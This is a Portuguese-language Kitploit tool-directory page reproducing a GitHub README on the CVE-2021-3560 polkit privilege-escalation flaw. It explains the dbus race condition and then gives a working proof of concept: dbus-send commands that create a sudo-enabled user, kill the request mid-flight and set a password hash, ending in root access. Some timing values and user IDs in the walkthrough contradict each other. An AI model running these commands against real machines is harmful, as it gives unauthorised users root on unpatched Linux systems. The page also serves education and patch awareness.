Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/lucaspdiniz/cve-2021-3560
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHublucaspdiniz/cve-2021-3560

CVE-2021-3560

Exploração da vulnerabilidade CVE-2021-3560 polkit

Ver Repositório
211há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade do Polkit - CVE-2021-3560 📕

  • Introdução

Em 2021, um pesquisador chamado Kevin BackHouse descobriu uma vulnerabilidade de escalonamento de privilégios no utilitário polkit. No entanto, nem todas as versões do Linux são vulneráveis ao polkit.

Abaixo está um exemplo de versão vulnerável;

  • Red Hat Enterprise Linux 8
  • Fedora 21 (ou posterior)
  • Debian Testing ("Bullseye")
  • Ubuntu 20.04 LTS ("Focal Fossa")

As versões mais modernas do Linux já possuem a correção desta vulnerabilidade, porém, versões mais antigas como as mencionadas acima, ainda possuem esta vulnerabilidade.

Mas o que é Polkit ❓

O Polkit é um serviço de sistema instalado por padrão em muitas distribuições Linux. Ele é usado pelo systemd, portanto, qualquer distribuição Linux que use systemd também usa polkit.

O Polkit é o serviço de sistema que está sendo executado nos bastidores quando você vê uma caixa de diálogo, exemplo;

Se a qualquer momento você precisar alterar privilégios ou fazer algo que exija privilégios mais altos, como criar uma conta de usuário, o Polkit é responsável por permitir ou negar essa ação.

qual é o impacto desta vulnerabilidade ❓

O CVE-2021-3560 permite que um atacante local sem privilégios obtenha privilégios de root. É muito simples e rápido de explorar, por isso é importante que você atualize suas instalações Linux o mais rápido possível. Qualquer sistema que tenha a versão 0.113 (ou posterior) do polkit instalada está vulnerável. Isso inclui distribuições populares como RHEL 8 e Ubuntu 20.04.

Como o Polkit é vulnerável ❓

Enviar manualmente mensagens dbus para o dbus-daemon (efetivamente uma API para permitir que diferentes processos se comuniquem entre si) e, em seguida, matar a solicitação antes que ela seja totalmente processada, podemos enganar o polkit para autorizar o comando.

O que é dbus-daemon ❓

O dbus-daemon é um programa executado em segundo plano que intermedeia mensagens entre aplicações.

Basicamente, a reprodução desta vulnerabilidade será feita seguindo os passos abaixo;

  1. O atacante envia manualmente uma mensagem dbus para o accounts-daemon solicitando a criação de uma nova conta com permissões sudo (ou posteriormente, uma senha a ser definida para o novo usuário). Esta mensagem recebe um ID único do dbus-daemon.

  2. O atacante mata a mensagem depois que o polkit a recebe, mas antes que o polkit tenha a chance de processá-la. Isso efetivamente destrói o ID único da mensagem.

  3. O Polkit pergunta ao dbus-daemon o ID do usuário que enviou a mensagem, referenciando o ID da mensagem (agora excluído).

  4. O dbus-daemon não consegue encontrar o ID da mensagem porque o matamos no passo dois. Ele trata o erro respondendo com um código de erro.

  5. O Polkit lida mal com o erro e substitui o ID do usuário por 0 — ou seja, a conta root da máquina.

  6. Pensando que o usuário root solicitou a ação, o polkit permite que a solicitação prossiga sem contestação.

Em resumo, ao destruir o ID da mensagem antes que o dbus-daemon tenha a chance de fornecer o ID correto ao polkit, exploramos o tratamento inadequado de erros no polkit para enganar o utilitário, fazendo-o pensar que a solicitação foi feita pelo poderoso usuário root.

Praticando - POC

  1. Vamos adicionar um novo usuário chamado lucas, com permissões sudo e uma senha de banana.

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

Neste caso, ao tentar criar o usuário lucas, recebemos uma mensagem informando que não temos permissão (Autenticação é necessária).

Este comando enviará manualmente uma mensagem dbus para o daemon de contas, imprimindo a resposta e criando um novo usuário chamado lucas(string:lucas), com uma descrição de "test vulns" (string:"test vulns") e associação ao grupo sudo definida como verdadeira (referenciada pelo int32:1).

  1. Como isso é efetivamente uma condição de corrida, primeiro precisamos determinar quanto tempo nosso comando levará para ser executado. Vamos tentar isso com a primeira mensagem dbus:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

Neste caso, usamos o mesmo comando de criação de usuário do passo 1, porém, usamos a função 'time' para retornar o tempo de execução deste comando.

Isso leva 0,011 segundos. Este número será ligeiramente diferente cada vez que você executar o comando.

  1. Precisamos matar o comando aproximadamente na metade da execução. Vamos tentar interromper o processo com 0,005 segundos, ok? (Este valor muda para cada caso).

Vamos tentar isso. Precisamos enviar a mensagem dbus e depois matá-la aproximadamente na metade:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!

enviamos a mensagem dbus em um job em segundo plano (usando o e comercial para colocar o comando em segundo plano). Em seguida, instruímos para dormir por 0,005 milissegundos e depois matar o processo anterior ($!). Isso criou com sucesso o novo usuário, adicionando-o ao grupo sudo. Devemos anotar neste ponto que o ID do usuário do novo usuário neste caso é 1000.

  1. Precisamos de um hash de senha aqui, então vamos gerar um hash Sha512Crypt para nossa senha escolhida (banana):

Usando openssl, geramos uma senha do tipo 6 (SHA512-crypt) e nossa senha em texto puro.

  1. Os 0,135 milissegundos funcionaram, então vamos tentar novamente

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!

Neste caso, estamos incluindo uma senha (banana) para o id 1005 que foi criado nos passos acima.

Polkit Corrigido ✔️

Esta vulnerabilidade foi divulgada publicamente, e a correção foi lançada em 3 de junho de 2021 e recebeu o identificador CVE-2021-3560.

Verifique a atualização da sua máquina com yum/apt update/upgrade.

Baixar ferramenta